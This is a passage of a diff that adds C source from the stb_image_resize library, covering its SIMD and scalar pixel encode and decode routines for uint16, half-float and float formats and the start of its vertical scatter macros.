+    decode[2-4] = ((float)(input[stbir__decode_order2])) * stbir__max_uint16_as_float_inverted;
+    decode[3-4] = ((float)(input[stbir__decode_order3])) * stbir__max_uint16_as_float_inverted;
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = ((float)(input[stbir__decode_order0])) * stbir__max_uint16_as_float_inverted;
+    #if stbir__coder_min_num >= 2
+    decode[1] = ((float)(input[stbir__decode_order1])) * stbir__max_uint16_as_float_inverted;
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = ((float)(input[stbir__decode_order2])) * stbir__max_uint16_as_float_inverted;
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+}
+
+
+static void STBIR__CODER_NAME(stbir__encode_uint16_linear_scaled)( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned short STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned short*) outputp;
+  unsigned short * end_output = ( (unsigned short*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  {
+    if ( width_times_channels >= stbir__simdfX_float_count*2 )
+    {
+      float const * end_encode_m8 = encode + width_times_channels - stbir__simdfX_float_count*2;
+      end_output -= stbir__simdfX_float_count*2;
+      STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+      for(;;)
+      {
+        stbir__simdfX e0, e1;
+        stbir__simdiX i;
+        STBIR_SIMD_NO_UNROLL(encode);
+        stbir__simdfX_madd_mem( e0, STBIR_simd_point5X, STBIR_max_uint16_as_floatX, encode );
+        stbir__simdfX_madd_mem( e1, STBIR_simd_point5X, STBIR_max_uint16_as_floatX, encode+stbir__simdfX_float_count );
+        stbir__encode_simdfX_unflip( e0 );
+        stbir__encode_simdfX_unflip( e1 );
+        stbir__simdfX_pack_to_words( i, e0, e1 );
+        stbir__simdiX_store( output, i );
+        encode += stbir__simdfX_float_count*2;
+        output += stbir__simdfX_float_count*2;
+        if ( output <= end_output )
+          continue;
+        if ( output == ( end_output + stbir__simdfX_float_count*2 ) )
+          break;
+        output = end_output;     // backup and do last couple
+        encode = end_encode_m8;
+      }
+      return;
+    }
+  }
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    stbir__simdf e;
+    stbir__simdi i;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_load( e, encode );
+    stbir__simdf_madd( e, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint16_as_float), e );
+    stbir__encode_simdf4_unflip( e );
+    stbir__simdf_pack_to_8words( i, e, e );  // only use first 4
+    stbir__simdi_store2( output-4, i );
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    stbir__simdf e;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_madd1_mem( e, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint16_as_float), encode+stbir__encode_order0 ); output[0] = stbir__simdf_convert_float_to_short( e );
+    #if stbir__coder_min_num >= 2
+    stbir__simdf_madd1_mem( e, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint16_as_float), encode+stbir__encode_order1 ); output[1] = stbir__simdf_convert_float_to_short( e );
+    #endif
+    #if stbir__coder_min_num >= 3
+    stbir__simdf_madd1_mem( e, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint16_as_float), encode+stbir__encode_order2 ); output[2] = stbir__simdf_convert_float_to_short( e );
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+
+  #else
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    float f;
+    STBIR_SIMD_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[0-4] = (unsigned short)f;
+    f = encode[stbir__encode_order1] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[1-4] = (unsigned short)f;
+    f = encode[stbir__encode_order2] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[2-4] = (unsigned short)f;
+    f = encode[stbir__encode_order3] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[3-4] = (unsigned short)f;
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    float f;
+    STBIR_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[0] = (unsigned short)f;
+    #if stbir__coder_min_num >= 2
+    f = encode[stbir__encode_order1] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[1] = (unsigned short)f;
+    #endif
+    #if stbir__coder_min_num >= 3
+    f = encode[stbir__encode_order2] * stbir__max_uint16_as_float + 0.5f; STBIR_CLAMP(f, 0, 65535); output[2] = (unsigned short)f;
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+  #endif
+}
+
+static float * STBIR__CODER_NAME(stbir__decode_uint16_linear)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned short const * input = (unsigned short const *)inputp;
+
+  #ifdef STBIR_SIMD
+  unsigned short const * end_input_m8 = input + width_times_channels - 8;
+  if ( width_times_channels >= 8 )
+  {
+    decode_end -= 8;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      #ifdef STBIR_SIMD8
+      stbir__simdi i; stbir__simdi8 o;
+      stbir__simdf8 of;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi8_expand_u16_to_u32( o, i );
+      stbir__simdi8_convert_i32_to_float( of, o );
+      stbir__decode_simdf8_flip( of );
+      stbir__simdf8_store( decode + 0, of );
+      #else
+      stbir__simdi i, o0, o1;
+      stbir__simdf of0, of1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi_expand_u16_to_u32( o0, o1, i );
+      stbir__simdi_convert_i32_to_float( of0, o0 );
+      stbir__simdi_convert_i32_to_float( of1, o1 );
+      stbir__decode_simdf4_flip( of0 );
+      stbir__decode_simdf4_flip( of1 );
+      stbir__simdf_store( decode + 0,  of0 );
+      stbir__simdf_store( decode + 4,  of1 );
+      #endif
+      decode += 8;
+      input += 8;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 8 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m8;
+    }
+    return decode_end + 8;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = ((float)(input[stbir__decode_order0]));
+    decode[1-4] = ((float)(input[stbir__decode_order1]));
+    decode[2-4] = ((float)(input[stbir__decode_order2]));
+    decode[3-4] = ((float)(input[stbir__decode_order3]));
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = ((float)(input[stbir__decode_order0]));
+    #if stbir__coder_min_num >= 2
+    decode[1] = ((float)(input[stbir__decode_order1]));
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = ((float)(input[stbir__decode_order2]));
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+}
+
+static void STBIR__CODER_NAME(stbir__encode_uint16_linear)( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned short STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned short*) outputp;
+  unsigned short * end_output = ( (unsigned short*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  {
+    if ( width_times_channels >= stbir__simdfX_float_count*2 )
+    {
+      float const * end_encode_m8 = encode + width_times_channels - stbir__simdfX_float_count*2;
+      end_output -= stbir__simdfX_float_count*2;
+      STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+      for(;;)
+      {
+        stbir__simdfX e0, e1;
+        stbir__simdiX i;
+        STBIR_SIMD_NO_UNROLL(encode);
+        stbir__simdfX_add_mem( e0, STBIR_simd_point5X, encode );
+        stbir__simdfX_add_mem( e1, STBIR_simd_point5X, encode+stbir__simdfX_float_count );
+        stbir__encode_simdfX_unflip( e0 );
+        stbir__encode_simdfX_unflip( e1 );
+        stbir__simdfX_pack_to_words( i, e0, e1 );
+        stbir__simdiX_store( output, i );
+        encode += stbir__simdfX_float_count*2;
+        output += stbir__simdfX_float_count*2;
+        if ( output <= end_output )
+          continue;
+        if ( output == ( end_output + stbir__simdfX_float_count*2 ) )
+          break;
+        output = end_output; // backup and do last couple
+        encode = end_encode_m8;
+      }
+      return;
+    }
+  }
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    stbir__simdf e;
+    stbir__simdi i;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_load( e, encode );
+    stbir__simdf_add( e, STBIR__CONSTF(STBIR_simd_point5), e );
+    stbir__encode_simdf4_unflip( e );
+    stbir__simdf_pack_to_8words( i, e, e );  // only use first 4
+    stbir__simdi_store2( output-4, i );
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  #else
+
+  // try to do blocks of 4 when you can
+  #if  stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    float f;
+    STBIR_SIMD_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[0-4] = (unsigned short)f;
+    f = encode[stbir__encode_order1] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[1-4] = (unsigned short)f;
+    f = encode[stbir__encode_order2] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[2-4] = (unsigned short)f;
+    f = encode[stbir__encode_order3] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[3-4] = (unsigned short)f;
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    float f;
+    STBIR_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[0] = (unsigned short)f;
+    #if stbir__coder_min_num >= 2
+    f = encode[stbir__encode_order1] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[1] = (unsigned short)f;
+    #endif
+    #if stbir__coder_min_num >= 3
+    f = encode[stbir__encode_order2] + 0.5f; STBIR_CLAMP(f, 0, 65535); output[2] = (unsigned short)f;
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+}
+
+static float * STBIR__CODER_NAME(stbir__decode_half_float_linear)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  stbir__FP16 const * input = (stbir__FP16 const *)inputp;
+
+  #ifdef STBIR_SIMD
+  if ( width_times_channels >= 8 )
+  {
+    stbir__FP16 const * end_input_m8 = input + width_times_channels - 8;
+    decode_end -= 8;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      STBIR_NO_UNROLL(decode);
+
+      stbir__half_to_float_SIMD( decode, input );
+      #ifdef stbir__decode_swizzle
+      #ifdef STBIR_SIMD8
+      {
+        stbir__simdf8 of;
+        stbir__simdf8_load( of, decode );
+        stbir__decode_simdf8_flip( of );
+        stbir__simdf8_store( decode, of );
+      }
+      #else
+      {
+        stbir__simdf of0,of1;
+        stbir__simdf_load( of0, decode );
+        stbir__simdf_load( of1, decode+4 );
+        stbir__decode_simdf4_flip( of0 );
+        stbir__decode_simdf4_flip( of1 );
+        stbir__simdf_store( decode, of0 );
+        stbir__simdf_store( decode+4, of1 );
+      }
+      #endif
+      #endif
+      decode += 8;
+      input += 8;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 8 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m8;
+    }
+    return decode_end + 8;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = stbir__half_to_float(input[stbir__decode_order0]);
+    decode[1-4] = stbir__half_to_float(input[stbir__decode_order1]);
+    decode[2-4] = stbir__half_to_float(input[stbir__decode_order2]);
+    decode[3-4] = stbir__half_to_float(input[stbir__decode_order3]);
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = stbir__half_to_float(input[stbir__decode_order0]);
+    #if stbir__coder_min_num >= 2
+    decode[1] = stbir__half_to_float(input[stbir__decode_order1]);
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = stbir__half_to_float(input[stbir__decode_order2]);
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+}
+
+static void STBIR__CODER_NAME( stbir__encode_half_float_linear )( void * outputp, int width_times_channels, float const * encode )
+{
+  stbir__FP16 STBIR_SIMD_STREAMOUT_PTR( * ) output = (stbir__FP16*) outputp;
+  stbir__FP16 * end_output = ( (stbir__FP16*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  if ( width_times_channels >= 8 )
+  {
+    float const * end_encode_m8 = encode + width_times_channels - 8;
+    end_output -= 8;
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      STBIR_SIMD_NO_UNROLL(encode);
+      #ifdef stbir__decode_swizzle
+      #ifdef STBIR_SIMD8
+      {
+        stbir__simdf8 of;
+        stbir__simdf8_load( of, encode );
+        stbir__encode_simdf8_unflip( of );
+        stbir__float_to_half_SIMD( output, (float*)&of );
+      }
+      #else
+      {
+        stbir__simdf of[2];
+        stbir__simdf_load( of[0], encode );
+        stbir__simdf_load( of[1], encode+4 );
+        stbir__encode_simdf4_unflip( of[0] );
+        stbir__encode_simdf4_unflip( of[1] );
+        stbir__float_to_half_SIMD( output, (float*)of );
+      }
+      #endif
+      #else
+      stbir__float_to_half_SIMD( output, encode );
+      #endif
+      encode += 8;
+      output += 8;
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + 8 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m8;
+    }
+    return;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    STBIR_SIMD_NO_UNROLL(output);
+    output[0-4] = stbir__float_to_half(encode[stbir__encode_order0]);
+    output[1-4] = stbir__float_to_half(encode[stbir__encode_order1]);
+    output[2-4] = stbir__float_to_half(encode[stbir__encode_order2]);
+    output[3-4] = stbir__float_to_half(encode[stbir__encode_order3]);
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    STBIR_NO_UNROLL(output);
+    output[0] = stbir__float_to_half(encode[stbir__encode_order0]);
+    #if stbir__coder_min_num >= 2
+    output[1] = stbir__float_to_half(encode[stbir__encode_order1]);
+    #endif
+    #if stbir__coder_min_num >= 3
+    output[2] = stbir__float_to_half(encode[stbir__encode_order2]);
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+}
+
+static float * STBIR__CODER_NAME(stbir__decode_float_linear)( float * decodep, int width_times_channels, void const * inputp )
+{
+  #ifdef stbir__decode_swizzle
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  float const * input = (float const *)inputp;
+
+  #ifdef STBIR_SIMD
+  if ( width_times_channels >= 16 )
+  {
+    float const * end_input_m16 = input + width_times_channels - 16;
+    decode_end -= 16;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      STBIR_NO_UNROLL(decode);
+      #ifdef stbir__decode_swizzle
+      #ifdef STBIR_SIMD8
+      {
+        stbir__simdf8 of0,of1;
+        stbir__simdf8_load( of0, input );
+        stbir__simdf8_load( of1, input+8 );
+        stbir__decode_simdf8_flip( of0 );
+        stbir__decode_simdf8_flip( of1 );
+        stbir__simdf8_store( decode, of0 );
+        stbir__simdf8_store( decode+8, of1 );
+      }
+      #else
+      {
+        stbir__simdf of0,of1,of2,of3;
+        stbir__simdf_load( of0, input );
+        stbir__simdf_load( of1, input+4 );
+        stbir__simdf_load( of2, input+8 );
+        stbir__simdf_load( of3, input+12 );
+        stbir__decode_simdf4_flip( of0 );
+        stbir__decode_simdf4_flip( of1 );
+        stbir__decode_simdf4_flip( of2 );
+        stbir__decode_simdf4_flip( of3 );
+        stbir__simdf_store( decode, of0 );
+        stbir__simdf_store( decode+4, of1 );
+        stbir__simdf_store( decode+8, of2 );
+        stbir__simdf_store( decode+12, of3 );
+      }
+      #endif
+      #endif
+      decode += 16;
+      input += 16;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 16 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m16;
+    }
+    return decode_end + 16;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = input[stbir__decode_order0];
+    decode[1-4] = input[stbir__decode_order1];
+    decode[2-4] = input[stbir__decode_order2];
+    decode[3-4] = input[stbir__decode_order3];
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = input[stbir__decode_order0];
+    #if stbir__coder_min_num >= 2
+    decode[1] = input[stbir__decode_order1];
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = input[stbir__decode_order2];
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+
+  #else
+
+  if ( (void*)decodep != inputp )
+    STBIR_MEMCPY( decodep, inputp, width_times_channels * sizeof( float ) );
+
+  return decodep + width_times_channels;
+
+  #endif
+}
+
+static void STBIR__CODER_NAME( stbir__encode_float_linear )( void * outputp, int width_times_channels, float const * encode )
+{
+  #if !defined( STBIR_FLOAT_HIGH_CLAMP ) && !defined(STBIR_FLOAT_LO_CLAMP) && !defined(stbir__decode_swizzle)
+
+  if ( (void*)outputp != (void*) encode )
+    STBIR_MEMCPY( outputp, encode, width_times_channels * sizeof( float ) );
+
+  #else
+
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = (float*) outputp;
+  float * end_output = ( (float*) output ) + width_times_channels;
+
+  #ifdef STBIR_FLOAT_HIGH_CLAMP
+  #define stbir_scalar_hi_clamp( v ) if ( v > STBIR_FLOAT_HIGH_CLAMP ) v = STBIR_FLOAT_HIGH_CLAMP;
+  #else
+  #define stbir_scalar_hi_clamp( v )
+  #endif
+  #ifdef STBIR_FLOAT_LOW_CLAMP
+  #define stbir_scalar_lo_clamp( v ) if ( v < STBIR_FLOAT_LOW_CLAMP ) v = STBIR_FLOAT_LOW_CLAMP;
+  #else
+  #define stbir_scalar_lo_clamp( v )
+  #endif
+
+  #ifdef STBIR_SIMD
+
+  #ifdef STBIR_FLOAT_HIGH_CLAMP
+  const stbir__simdfX high_clamp = stbir__simdf_frepX(STBIR_FLOAT_HIGH_CLAMP);
+  #endif
+  #ifdef STBIR_FLOAT_LOW_CLAMP
+  const stbir__simdfX low_clamp = stbir__simdf_frepX(STBIR_FLOAT_LOW_CLAMP);
+  #endif
+
+  if ( width_times_channels >= ( stbir__simdfX_float_count * 2 ) )
+  {
+    float const * end_encode_m8 = encode + width_times_channels - ( stbir__simdfX_float_count * 2 );
+    end_output -= ( stbir__simdfX_float_count * 2 );
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdfX e0, e1;
+      STBIR_SIMD_NO_UNROLL(encode);
+      stbir__simdfX_load( e0, encode );
+      stbir__simdfX_load( e1, encode+stbir__simdfX_float_count );
+#ifdef STBIR_FLOAT_HIGH_CLAMP
+      stbir__simdfX_min( e0, e0, high_clamp );
+      stbir__simdfX_min( e1, e1, high_clamp );
+#endif
+#ifdef STBIR_FLOAT_LOW_CLAMP
+      stbir__simdfX_max( e0, e0, low_clamp );
+      stbir__simdfX_max( e1, e1, low_clamp );
+#endif
+      stbir__encode_simdfX_unflip( e0 );
+      stbir__encode_simdfX_unflip( e1 );
+      stbir__simdfX_store( output, e0 );
+      stbir__simdfX_store( output+stbir__simdfX_float_count, e1 );
+      encode += stbir__simdfX_float_count * 2;
+      output += stbir__simdfX_float_count * 2;
+      if ( output < end_output )
+        continue;
+      if ( output == ( end_output + ( stbir__simdfX_float_count * 2 ) ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m8;
+    }
+    return;
+  }
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    stbir__simdf e0;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_load( e0, encode );
+#ifdef STBIR_FLOAT_HIGH_CLAMP
+    stbir__simdf_min( e0, e0, high_clamp );
+#endif
+#ifdef STBIR_FLOAT_LOW_CLAMP
+    stbir__simdf_max( e0, e0, low_clamp );
+#endif
+    stbir__encode_simdf4_unflip( e0 );
+    stbir__simdf_store( output-4, e0 );
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  #else
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    float e;
+    STBIR_SIMD_NO_UNROLL(encode);
+    e = encode[ stbir__encode_order0 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[0-4] = e;
+    e = encode[ stbir__encode_order1 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[1-4] = e;
+    e = encode[ stbir__encode_order2 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[2-4] = e;
+    e = encode[ stbir__encode_order3 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[3-4] = e;
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+
+  #endif
+
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    float e;
+    STBIR_NO_UNROLL(encode);
+    e = encode[ stbir__encode_order0 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[0] = e;
+    #if stbir__coder_min_num >= 2
+    e = encode[ stbir__encode_order1 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[1] = e;
+    #endif
+    #if stbir__coder_min_num >= 3
+    e = encode[ stbir__encode_order2 ]; stbir_scalar_hi_clamp( e ); stbir_scalar_lo_clamp( e ); output[2] = e;
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+
+  #endif
+}
+
+#undef stbir__decode_suffix
+#undef stbir__decode_simdf8_flip
+#undef stbir__decode_simdf4_flip
+#undef stbir__decode_order0
+#undef stbir__decode_order1
+#undef stbir__decode_order2
+#undef stbir__decode_order3
+#undef stbir__encode_order0
+#undef stbir__encode_order1
+#undef stbir__encode_order2
+#undef stbir__encode_order3
+#undef stbir__encode_simdf8_unflip
+#undef stbir__encode_simdf4_unflip
+#undef stbir__encode_simdfX_unflip
+#undef STBIR__CODER_NAME
+#undef stbir__coder_min_num
+#undef stbir__decode_swizzle
+#undef stbir_scalar_hi_clamp
+#undef stbir_scalar_lo_clamp
+#undef STB_IMAGE_RESIZE_DO_CODERS
+
+#elif defined( STB_IMAGE_RESIZE_DO_VERTICALS)
+
+#ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#define STBIR_chans( start, end ) STBIR_strs_join14(start,STBIR__vertical_channels,end,_cont)
+#else
+#define STBIR_chans( start, end ) STBIR_strs_join1(start,STBIR__vertical_channels,end)
+#endif
+
+#if STBIR__vertical_channels >= 1
+#define stbIF0( code ) code
+#else
+#define stbIF0( code )
+#endif
+#if STBIR__vertical_channels >= 2
+#define stbIF1( code ) code
+#else
+#define stbIF1( code )
+#endif
+#if STBIR__vertical_channels >= 3
+#define stbIF2( code ) code
+#else
+#define stbIF2( code )
+#endif
+#if STBIR__vertical_channels >= 4
+#define stbIF3( code ) code
+#else
+#define stbIF3( code )
+#endif
+#if STBIR__vertical_channels >= 5
+#define stbIF4( code ) code
+#else
+#define stbIF4( code )
+#endif
+#if STBIR__vertical_channels >= 6
+#define stbIF5( code ) code
+#else
+#define stbIF5( code )
+#endif
+#if STBIR__vertical_channels >= 7
+#define stbIF6( code ) code
+#else
+#define stbIF6( code )
+#endif
+#if STBIR__vertical_channels >= 8
+#define stbIF7( code ) code
+#else
+#define stbIF7( code )
+#endif
+
+static void STBIR_chans( stbir__vertical_scatter_with_,_coeffs)( float ** outputs, float const * vertical_coefficients, float const * input, float const * input_end )
+{
+  stbIF0( float STBIR_SIMD_STREAMOUT_PTR( * ) output0 = outputs[0]; float c0s = vertical_coefficients[0]; )
+  stbIF1( float STBIR_SIMD_STREAMOUT_PTR( * ) output1 = outputs[1]; float c1s = vertical_coefficients[1]; )
+  stbIF2( float STBIR_SIMD_STREAMOUT_PTR( * ) output2 = outputs[2]; float c2s = vertical_coefficients[2]; )
+  stbIF3( float STBIR_SIMD_STREAMOUT_PTR( * ) output3 = outputs[3]; float c3s = vertical_coefficients[3]; )
+  stbIF4( float STBIR_SIMD_STREAMOUT_PTR( * ) output4 = outputs[4]; float c4s = vertical_coefficients[4]; )
+  stbIF5( float STBIR_SIMD_STREAMOUT_PTR( * ) output5 = outputs[5]; float c5s = vertical_coefficients[5]; )
+  stbIF6( float STBIR_SIMD_STREAMOUT_PTR( * ) output6 = outputs[6]; float c6s = vertical_coefficients[6]; )
+  stbIF7( float STBIR_SIMD_STREAMOUT_PTR( * ) output7 = outputs[7]; float c7s = vertical_coefficients[7]; )
+
+  #ifdef STBIR_SIMD
+  {
+    stbIF0(stbir__simdfX c0 = stbir__simdf_frepX( c0s ); )
+    stbIF1(stbir__simdfX c1 = stbir__simdf_frepX( c1s ); )
+    stbIF2(stbir__simdfX c2 = stbir__simdf_frepX( c2s ); )
+    stbIF3(stbir__simdfX c3 = stbir__simdf_frepX( c3s ); )
+    stbIF4(stbir__simdfX c4 = stbir__simdf_frepX( c4s ); )
+    stbIF5(stbir__simdfX c5 = stbir__simdf_frepX( c5s ); )
+    stbIF6(stbir__simdfX c6 = stbir__simdf_frepX( c6s ); )
+    stbIF7(stbir__simdfX c7 = stbir__simdf_frepX( c7s ); )
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    while ( ( (char*)input_end - (char*) input ) >= (16*stbir__simdfX_float_count) )
+    {
+      stbir__simdfX o0, o1, o2, o3, r0, r1, r2, r3;
+      STBIR_SIMD_NO_UNROLL(output0);
+
+      stbir__simdfX_load( r0, input );               stbir__simdfX_load( r1, input+stbir__simdfX_float_count );     stbir__simdfX_load( r2, input+(2*stbir__simdfX_float_count) );      stbir__simdfX_load( r3, input+(3*stbir__simdfX_float_count) );
+
+      #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
